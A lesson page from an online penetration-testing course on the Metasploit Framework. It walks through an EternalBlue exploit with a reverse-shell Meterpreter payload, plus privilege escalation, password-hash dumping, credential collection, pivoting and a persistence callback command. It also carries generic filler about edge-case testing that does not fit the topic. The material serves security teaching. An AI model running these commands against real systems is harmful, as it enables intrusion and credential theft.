Skip to main content

Lesson 4 of 10

Exploitation with Metasploit Framework

Metasploit Framework is the world's most widely used penetration testing platform. It provides a standardized framework for exploit development, vulnerability testing, and payload delivery. Understanding Metasploit is essential for both attackers and defenders.

60 minBy Priygop Editorial TeamUpdated 2026Peer Reviewed & Verified

Metasploit Architecture

Metasploit Architecture
# Metasploit components and concepts

# Core components:
Modules:    Organized exploits, payloads, encoders, post-exploitation
  auxiliary/      Support modules: scanners, brute-forcers, fuzzers
  exploits/       Attack modules targeting specific vulnerabilities
  payloads/       Code executed on target after successful exploit
  post/           Post-exploitation: privilege escalation, pivoting, data collection
  encoders/       Evade signature-based detection by encoding payloads

# Payload types:
Singles:     Self-contained, execute immediately (no second-stage)
Stagers:     Small code that downloads and executes a larger stage
Stages:      The actual payload delivered by the stager (Meterpreter)

# Starting Metasploit
msfconsole                          # Start interactive console
msf6 > help                         # All available commands
msf6 > search type:exploit ms17-010 # Search for EternalBlue exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > show payloads  # Available payloads

# Set required options
msf6 > set RHOSTS 192.168.1.100     # Target host
msf6 > set LHOST 192.168.1.50      # Our IP (for reverse shell)
msf6 > set LPORT 4444              # Our listening port
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > run                          # Execute the exploit

Meterpreter - Advanced Post-Exploitation Shell

Meterpreter - Advanced Post-Exploitation Shell
# Meterpreter: advanced in-memory payload that runs entirely in RAM
# Encrypted communication, evades basic host-based detection

# After successful exploit - Meterpreter session opens:
meterpreter > sysinfo               # System info: OS, hostname, domain
meterpreter > getuid                # Current user context
meterpreter > getpid                # Process ID of Meterpreter
meterpreter > ps                    # List running processes

# Privilege escalation
meterpreter > getsystem             # Attempt automatic privilege escalation
meterpreter > getuid                # Verify: NT AUTHORITY\SYSTEM?

# Information gathering
meterpreter > ipconfig              # Network interfaces (find internal networks)
meterpreter > route                 # Routing table (find other subnets)
meterpreter > arp                   # ARP table (find other hosts)

# Credential harvesting
meterpreter > hashdump              # Dump SAM database (Windows password hashes)
meterpreter > run post/windows/gather/credentials/credential_collector

# Pivoting: use compromised host to attack internal network
meterpreter > run arp_scanner -r 10.0.0.0/24   # Scan internal subnet
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.5 # Forward port to internal host

# Persistence (document in report, remove after testing!)
meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.50

Database Integration & Workspace Management

Database Integration & Workspace Management
# Metasploit with PostgreSQL - professional workflow

# Start database
service postgresql start
msfconsole
msf6 > db_status                    # Verify database connection

# Create workspace per engagement
msf6 > workspace -a ClientName_2025 # Create workspace
msf6 > workspace                    # List workspaces

# Import Nmap results into database
msf6 > db_nmap -sV -sC 192.168.1.0/24  # Nmap scan, results auto-imported
msf6 > hosts                         # View discovered hosts
msf6 > services                      # View discovered services
msf6 > vulns                         # View identified vulnerabilities

# Filter hosts by service
msf6 > services -p 445 -s smb        # Hosts with SMB open (WannaCry targets)

# Export for reporting
msf6 > db_export -f xml report.xml

Common Mistakes

  • Using Metasploit on unauthorized targets - knowing the tool makes it easier to cross legal lines; always verify scope
  • Not cleaning up after testing - installed persistence modules, dropped files, and registry changes must be removed to restore systems to pre-test state
  • Using Metasploit as a crutch for OSCP - the OSCP exam heavily restricts Metasploit use; develop manual exploitation skills alongside Metasploit knowledge

Tip

Tip

Practice Exploitation with Metasploit Framework in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.

Diagram
Loading diagram…

The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).

Practice Task

Note

Practice Task - (1) Write a working example of Exploitation with Metasploit Framework from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.

Quick Quiz

Common Mistake

Warning

A common mistake with Exploitation with Metasploit Framework is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.

Key Takeaways

  • Metasploit Framework is the world's most widely used penetration testing platform.
  • Using Metasploit on unauthorized targets - knowing the tool makes it easier to cross legal lines; always verify scope
  • Not cleaning up after testing - installed persistence modules, dropped files, and registry changes must be removed to restore systems to pre-test state
  • Using Metasploit as a crutch for OSCP - the OSCP exam heavily restricts Metasploit use; develop manual exploitation skills alongside Metasploit knowledge

Hands-on Practice Tools for this Course

Test what you learn using these free in-browser developer utilities (no signup required).

All 40+ Tools

Topics in This Module

0/10 done